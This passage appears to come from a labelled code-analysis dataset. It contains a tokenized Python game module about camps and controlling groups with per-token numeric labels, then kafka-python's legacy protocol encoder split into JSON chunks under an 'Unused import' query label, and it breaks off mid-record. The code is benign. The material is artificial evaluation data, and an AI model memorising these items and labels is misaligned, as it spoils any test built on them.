"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "\\u", "near", "est", "\\u", "camp", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "near", "est", "\\u", "know", "n", "\\u", "camp", "_", "(_", "life_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "return_", "\\u", "get", "\\u", "near", "est", "\\u", "know", "n", "\\u", "camp", "_", "(_", "life_", ")_", "[_", "'", "camp", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "distance", "\\u", "to", "\\u", "near", "est", "\\u", "know", "n", "\\u", "camp", "_", "(_", "life_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "return_", "\\u", "get", "\\u", "near", "est", "\\u", "know", "n", "\\u", "camp", "_", "(_", "life_", ")_", "[_", "'", "score", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "camp", "\\u", "via", "\\u", "reference_", "(_", "reference_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "for_", "camp", "_", "in_", "CAM", "PS_", "._", "values_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "if_", "camp", "_", "[_", "'", "reference", "'_", "]_", "==_", "reference_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "return_", "camp", "_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "controll", "ing", "\\u", "groups_", "(_", "camp", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "\\u", "groups_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "life_", "in_", "[_", "LIF", "E_", "[_", "l_", "]_", "for_", "l_", "in_", "get", "\\u", "all", "\\u", "ali", "fe", "\\u", "in", "\\u", "camp", "_", "(_", "camp", "\\u", "id_", ")_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "if_", "not_", "life_", "[_", "'", "group", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "life_", "[_", "'", "group", "'_", "]_", "in_", "\\u", "groups_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "\\u", "groups_", "[_", "life_", "[_", "'", "group", "'_", "]_", "]_", "[_", "'", "score", "'_", "]_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "\\u", "groups_", "[_", "life_", "[_", "'", "group", "'_", "]_", "]_", "=_", "{_", "'", "score", "'_", ":_", "1_", ",_", "'", "id", "'_", ":_", "life_", "[_", "'", "group", "'_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "\\u", "groups_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "controll", "ing", "\\u", "group", "\\u", "global_", "(_", "camp", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "\\u", "groups_", "=_", "get", "\\u", "controll", "ing", "\\u", "groups_", "(_", "camp", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "group", "s", "\\u", "controll", "ing_", "=_", "[_", "\\u", "grp_", "[_", "'", "id", "'_", "]_", "for_", "\\u", "grp_", "in_", "\\u", "groups_", "._", "values_", "(_", ")_", "if_", "\\u", "grp_", "[_", "'", "score", "'_", "]_", "==_", "max_", "(_", "[_", "\\u", "grp_", "[_", "'", "score", "'_", "]_", "for_", "\\u", "grp_", "in_", "\\u", "groups_", "._", "values_", "(_", ")_", "]_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\\u", "group", "s", "\\u", "controll", "ing_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "return_", "\\u", "group", "s", "\\u", "controll", "ing_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "controll", "ing", "\\u", "group", "\\u", "according", "\\u", "to_", "(_", "life_", ",_", "camp", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "\\u", "best", "\\u", "group_", "=_", "{_", "'", "group", "'_", ":_", "None_", ",_", "'", "score", "'_", ":_", "0_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "camp", "_", "=_", "life_", "[_", "'", "know", "n", "\\u", "camp", "s", "'_", "]_", "[_", "camp", "\\u", "id_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "group_", "in_", "\\u", "camp", "_", "[_", "'", "snapshot", "'_", "]_", "[_", "'", "group", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "if_", "not_", "\\u", "best", "\\u", "group_", "[_", "'", "group", "'_", "]_", "or_", "\\u", "camp", "_", "[_", "'", "snapshot", "'_", "]_", "[_", "'", "group", "s", "'_", "]_", "[_", "group_", "]_", ">_", "\\u", "best", "\\u", "group_", "[_", "'", "score", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "\\u", "best", "\\u", "group_", "[_", "'", "group", "'_", "]_", "=_", "group_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "best", "\\u", "group_", "[_", "'", "score", "'_", "]_", "=_", "\\u", "best", "\\u", "group_", "[_", "'", "score", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "\\u", "best", "\\u", "group_", "[_", "'", "group", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "all", "\\u", "ali", "fe", "\\u", "in", "\\u", "camp", "_", "(_", "camp", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "return_", "[_", "life_", "[_", "'", "id", "'_", "]_", "for_", "life_", "in_", "LIF", "E_", "._", "values_", "(_", ")_", "if_", "is", "\\u", "in", "\\u", "camp", "_", "(_", "life_", ",_", "WORLD", "\\u", "INFO_", "[_", "'", "camp", "s", "'_", "]_", "[_", "camp", "\\u", "id_", "]_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "in", "\\u", "camp", "_", "(_", "life_", ",_", "camp", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "return_", "references_", "._", "life", "\\u", "is", "\\u", "in", "\\u", "reference_", "(_", "life_", ",_", "camp", "_", "[_", "'", "reference", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "in", "\\u", "any", "\\u", "camp", "_", "(_", "position_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "for_", "camp", "_", "in_", "WORLD", "\\u", "INFO_", "[_", "'", "camp", "s", "'_", "]_", "._", "values_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "if_", "references_", "._", "is", "\\u", "in", "\\u", "reference_", "(_", "position_", ",_", "camp", "_", "[_", "'", "reference", "'_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "return_", "camp", "_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "position", "\\u", "is", "\\u", "in", "\\u", "camp", "_", "(_", "position_", ",_", "camp", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "return_", "references_", "._", "is", "\\u", "in", "\\u", "reference_", "(_", "position_", ",_", "get", "\\u", "camp", "_", "(_", "camp", "\\u", "id_", ")_", "[_", "'", "reference", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "near", "est", "\\u", "position", "\\u", "in", "\\u", "camp", "_", "(_", "life_", ",_", "camp", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "\\u", "camp", "_", "=_", "WORLD", "\\u", "INFO_", "[_", "'", "camp", "s", "'_", "]_", "[_", "camp", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "key_", "=_", "references_", "._", "find", "\\u", "near", "est", "\\u", "key", "\\u", "in", "\\u", "reference", "\\u", "exact_", "(_", "life_", "[_", "'", "pos", "'_", "]_", ",_", "\\u", "camp", "_", "[_", "'", "reference", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "chunks_", "._", "get", "\\u", "near", "est", "\\u", "position", "\\u", "in", "\\u", "chunk_", "(_", "life_", "[_", "'", "pos", "'_", "]_", ",_", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "guard", "\\u", "camp", "_", "(_", "life_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "\\u", "delay_", "=_", "random_", "._", "randint_", "(_", "25_", ",_", "jobs_", "._", "get", "\\u", "job", "\\u", "detail_", "(_", "life_", "[_", "'", "job", "'_", "]_", ",_", "'", "paus", "e", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "life_", "[_", "'", "path", "'_", "]_", "and_", "not_", "lf", "e_", "._", "find", "\\u", "action_", "(_", "life_", ",_", "matches_", "=_", "[_", "{_", "'", "action", "'_", ":_", "'", "move", "'_", "}_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\\u", "chunk_", "=_", "WORLD", "\\u", "INFO_", "[_", "'", "chunk", "\\u", "map", "'_", "]_", "[_", "references_", "._", "find", "\\u", "leas", "t", "\\u", "populate", "d\\u", "key", "\\u", "in", "\\u", "reference_", "(_", "life_", ",_", "CAM", "PS_", "[_", "life_", "[_", "'", "camp", "'_", "]_", "]_", "[_", "'", "reference", "'_", "]_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lf", "e_", "._", "add", "\\u", "action_", "(_", "life_", ",_", "{_", "'", "action", "'_", ":_", "'", "move", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "to", "'_", ":_", "random_", "._", "choice_", "(_", "\\u", "chunk_", "[_", "'", "ground", "'_", "]_", ")_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "delay_", "=_", "\\u", "delay_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "debug", "\\u", "camp", "s_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "for_", "camp", "\\u", "id_", "in_", "WORLD", "\\u", "INFO_", "[_", "'", "camp", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "\\u", "group_", "=_", "get", "\\u", "controll", "ing", "\\u", "group", "\\u", "global_", "(_", "camp", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "\\u", "group_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "camp", "\\u", "id_", ",_", "'", "is", " ", "controlle", "d", " ", "by", "'_", ",_", "\\u", "group_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "actual", "\\u", "group_", "=_", "groups_", "._", "get", "\\u", "group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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
dpkp/kafka-python/kafka/protocol/legacy.py
[ { "content": "from __future__ import absolute_import\n\nimport logging\nimport struct\n\nimport six\n\nfrom six.moves import xrange\n\nimport kafka.protocol.commit\nimport kafka.protocol.fetch\nimport kafka.protocol.message\nimport kafka.protocol.metadata\nimport kafka.protocol.offset\nimport kafka.protocol.produce\nimport kafka.structs\n\nfrom kafka.codec import (\n gzip_encode, gzip_decode, snappy_encode, snappy_decode)\nfrom kafka.errors import ProtocolError, ChecksumError, UnsupportedCodecError\nfrom kafka.structs import ConsumerMetadataResponse\nfrom kafka.util import (\n crc32, read_short_string, read_int_string, relative_unpack,\n write_short_string, write_int_string, group_by_topic_and_partition)\n\n\nlog = logging.getLogger(__name__)\n\nATTRIBUTE_CODEC_MASK = 0x03\nCODEC_NONE = 0x00\nCODEC_GZIP = 0x01\nCODEC_SNAPPY = 0x02\nALL_CODECS = (CODEC_NONE, CODEC_GZIP, CODEC_SNAPPY)\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class KafkaProtocol(object):\n \"\"\"\n Class to encapsulate all of the protocol encoding/decoding.\n This class does not have any state associated with it, it is purely\n for organization.\n \"\"\"\n PRODUCE_KEY = 0\n FETCH_KEY = 1\n OFFSET_KEY = 2\n METADATA_KEY = 3\n OFFSET_COMMIT_KEY = 8\n OFFSET_FETCH_KEY = 9\n CONSUMER_METADATA_KEY = 10\n\n ###################\n # Private API #\n ###################\n\n\n\n\n ##################\n # Public API #\n ##################\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.KafkaProtocol", "header": "['module', '___EOS___']", "index": 35 }, { "content": " @classmethod\n def _encode_message_header(cls, client_id, correlation_id, request_key,\n version=0):\n \"\"\"\n Encode the common request envelope\n \"\"\"\n return struct.pack('>hhih%ds' % len(client_id),\n request_key, # ApiKey\n version, # ApiVersion\n correlation_id, # CorrelationId\n len(client_id), # ClientId size\n client_id) # ClientId", "metadata": "root.KafkaProtocol._encode_message_header", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 53 }, { "content": " @classmethod\n def _encode_message_set(cls, messages):\n \"\"\"\n Encode a MessageSet. Unlike other arrays in the protocol,\n MessageSets are not length-prefixed\n\n Format\n ======\n MessageSet => [Offset MessageSize Message]\n Offset => int64\n MessageSize => int32\n \"\"\"\n message_set = []\n for message in messages:\n encoded_message = KafkaProtocol._encode_message(message)\n message_set.append(struct.pack('>qi%ds' % len(encoded_message), 0,\n len(encoded_message),\n encoded_message))\n return b''.join(message_set)", "metadata": "root.KafkaProtocol._encode_message_set", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 66 }, { "content": " @classmethod\n def _encode_message(cls, message):\n \"\"\"\n Encode a single message.\n\n The magic number of a message is a format version number.\n The only supported magic number right now is zero\n\n Format\n ======\n Message => Crc MagicByte Attributes Key Value\n Crc => int32\n MagicByte => int8\n Attributes => int8\n Key => bytes\n Value => bytes\n \"\"\"\n if message.magic == 0:\n msg = b''.join([\n struct.pack('>BB', message.magic, message.attributes),\n write_int_string(message.key),\n write_int_string(message.value)\n ])\n crc = crc32(msg)\n msg = struct.pack('>i%ds' % len(msg), crc, msg)\n else:\n raise ProtocolError(\"Unexpected magic number: %d\" % message.magic)\n return msg", "metadata": "root.KafkaProtocol._encode_message", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 86 }, { "content": " @classmethod\n def encode_produce_request(cls, payloads=(), acks=1, timeout=1000):\n \"\"\"\n Encode a ProduceRequest struct\n\n Arguments:\n payloads: list of ProduceRequestPayload\n acks: How \"acky\" you want the request to be\n 1: written to disk by the leader\n 0: immediate response\n -1: waits for all replicas to be in sync\n timeout: Maximum time (in ms) the server will wait for replica acks.\n This is _not_ a socket timeout\n\n Returns: ProduceRequest\n \"\"\"\n if acks not in (1, 0, -1):\n raise ValueError('ProduceRequest acks (%s) must be 1, 0, -1' % acks)\n\n return kafka.protocol.produce.ProduceRequest[0](\n required_acks=acks,\n timeout=timeout,\n topics=[(\n topic,\n [(\n partition,\n [(0, 0, kafka.protocol.message.Message(msg.value, key=msg.key,\n magic=msg.magic,\n attributes=msg.attributes))\n for msg in payload.messages])\n for partition, payload in topic_payloads.items()])\n for topic, topic_payloads in group_by_topic_and_partition(payloads).items()])", "metadata": "root.KafkaProtocol.encode_produce_request", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 119 }, { "content": " @classmethod\n def decode_produce_response(cls, response):\n \"\"\"\n Decode ProduceResponse to ProduceResponsePayload\n\n Arguments:\n response: ProduceResponse\n\n Return: list of ProduceResponsePayload\n \"\"\"\n return [\n kafka.structs.ProduceResponsePayload(topic, partition, error, offset)\n for topic, partitions in response.topics\n for partition, error, offset in partitions\n ]", "metadata": "root.KafkaProtocol.decode_produce_response", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 152 }, { "content": " @classmethod\n def encode_fetch_request(cls, payloads=(), max_wait_time=100, min_bytes=4096):\n \"\"\"\n Encodes a FetchRequest struct\n\n Arguments:\n payloads: list of FetchRequestPayload\n max_wait_time (int, optional): ms to block waiting for min_bytes\n data. Defaults to 100.\n min_bytes (int, optional): minimum bytes required to return before\n max_wait_time. Defaults to 4096.\n\n Return: FetchRequest\n \"\"\"\n return kafka.protocol.fetch.FetchRequest[0](\n replica_id=-1,\n max_wait_time=max_wait_time,\n min_bytes=min_bytes,\n topics=[(\n topic,\n [(\n partition,\n payload.offset,\n payload.max_bytes)\n for partition, payload in topic_payloads.items()])\n for topic, topic_payloads in group_by_topic_and_partition(payloads).items()])", "metadata": "root.KafkaProtocol.encode_fetch_request", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 168 }, { "content": " @classmethod\n def decode_fetch_response(cls, response):\n \"\"\"\n Decode FetchResponse struct to FetchResponsePayloads\n\n Arguments:\n response: FetchResponse\n \"\"\"\n return [\n kafka.structs.FetchResponsePayload(\n topic, partition, error, highwater_offset, [\n kafka.structs.OffsetAndMessage(offset, message)\n for offset, _, message in messages])\n for topic, partitions in response.topics\n for partition, error, highwater_offset, messages in partitions\n ]", "metadata": "root.KafkaProtocol.decode_fetch_response", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 195 }, { "content": " @classmethod\n def encode_offset_request(cls, payloads=()):\n return kafka.protocol.offset.OffsetRequest[0](\n replica_id=-1,\n topics=[(\n topic,\n [(\n partition,\n payload.time,\n payload.max_offsets)\n for partition, payload in six.iteritems(topic_payloads)])\n for topic, topic_payloads in six.iteritems(group_by_topic_and_partition(payloads))])", "metadata": "root.KafkaProtocol.encode_offset_request", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 212 }, { "content": " @classmethod\n def decode_offset_response(cls, response):\n \"\"\"\n Decode OffsetResponse into OffsetResponsePayloads\n\n Arguments:\n response: OffsetResponse\n\n Returns: list of OffsetResponsePayloads\n \"\"\"\n return [\n kafka.structs.OffsetResponsePayload(topic, partition, error, tuple(offsets))\n for topic, partitions in response.topics\n for partition, error, offsets in partitions\n ]", "metadata": "root.KafkaProtocol.decode_offset_response", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 225 }, { "content": " @classmethod\n def encode_metadata_request(cls, topics=(), payloads=None):\n \"\"\"\n Encode a MetadataRequest\n\n Arguments:\n topics: list of strings\n \"\"\"\n if payloads is not None:\n topics = payloads\n\n return kafka.protocol.metadata.MetadataRequest[0](topics)", "metadata": "root.KafkaProtocol.encode_metadata_request", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 241 }, { "content": " @classmethod\n def decode_metadata_response(cls, response):\n return response", "metadata": "root.KafkaProtocol.decode_metadata_response", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 254 }, { "content": " @classmethod\n def encode_consumer_metadata_request(cls, client_id, correlation_id, payloads):\n \"\"\"\n Encode a ConsumerMetadataRequest\n\n Arguments:\n client_id: string\n correlation_id: int\n payloads: string (consumer group)\n \"\"\"\n message = []\n message.append(cls._encode_message_header(client_id, correlation_id,\n KafkaProtocol.CONSUMER_METADATA_KEY))\n message.append(struct.pack('>h%ds' % len(payloads), len(payloads), payloads))\n\n msg = b''.join(message)\n return write_int_string(msg)", "metadata": "root.KafkaProtocol.encode_consumer_metadata_request", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 258 }, { "content": " @classmethod\n def decode_consumer_metadata_response(cls, data):\n \"\"\"\n Decode bytes to a ConsumerMetadataResponse\n\n Arguments:\n data: bytes to decode\n \"\"\"\n ((correlation_id, error, nodeId), cur) = relative_unpack('>ihi', data, 0)\n (host, cur) = read_short_string(data, cur)\n ((port,), cur) = relative_unpack('>i', data, cur)\n\n return ConsumerMetadataResponse(error, nodeId, host, port)", "metadata": "root.KafkaProtocol.decode_consumer_metadata_response", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 276 }, { "content": " @classmethod\n def encode_offset_commit_request(cls, group, payloads):\n \"\"\"\n Encode an OffsetCommitRequest struct\n\n Arguments:\n group: string, the consumer group you are committing offsets for\n payloads: list of OffsetCommitRequestPayload\n \"\"\"\n return kafka.protocol.commit.OffsetCommitRequest[0](\n consumer_group=group,\n topics=[(\n topic,\n [(\n partition,\n payload.offset,\n payload.metadata)\n for partition, payload in six.iteritems(topic_payloads)])\n for topic, topic_payloads in six.iteritems(group_by_topic_and_partition(payloads))])", "metadata": "root.KafkaProtocol.encode_offset_commit_request", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 290 }, { "content": " @classmethod\n def decode_offset_commit_response(cls, response):\n \"\"\"\n Decode OffsetCommitResponse to an OffsetCommitResponsePayload\n\n Arguments:\n response: OffsetCommitResponse\n \"\"\"\n return [\n kafka.structs.OffsetCommitResponsePayload(topic, partition, error)\n for topic, partitions in response.topics\n for partition, error in partitions\n ]", "metadata": "root.KafkaProtocol.decode_offset_commit_response", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 311 }, { "content": " @classmethod\n def encode_offset_fetch_request(cls, group, payloads, from_kafka=False):\n \"\"\"\n Encode an OffsetFetchRequest struct. The request is encoded using\n version 0 if from_kafka is false, indicating a request for Zookeeper\n offsets. It is encoded using version 1 otherwise, indicating a request\n for Kafka offsets.\n\n Arguments:\n group: string, the consumer group you are fetching offsets for\n payloads: list of OffsetFetchRequestPayload\n from_kafka: bool, default False, set True for Kafka-committed offsets\n \"\"\"\n version = 1 if from_kafka else 0\n return kafka.protocol.commit.OffsetFetchRequest[version](\n consumer_group=group,\n topics=[(\n topic,\n list(topic_payloads.keys()))\n for topic, topic_payloads in six.iteritems(group_by_topic_and_partition(payloads))])", "metadata": "root.KafkaProtocol.encode_offset_fetch_request", "header": "['class', 'KafkaProtocol', '(', 'object', ')', ':', '___EOS___']", "index": 325 }, { "content": " @classmethod\n def decode_offset_fetch_response(cls, response):\n \"\"\"\n Decode OffsetFetchResponse to OffsetFetchResponsePayloads\n\n Arguments:\n response: OffsetFetchResponse\n \"\"\"\n return [\n 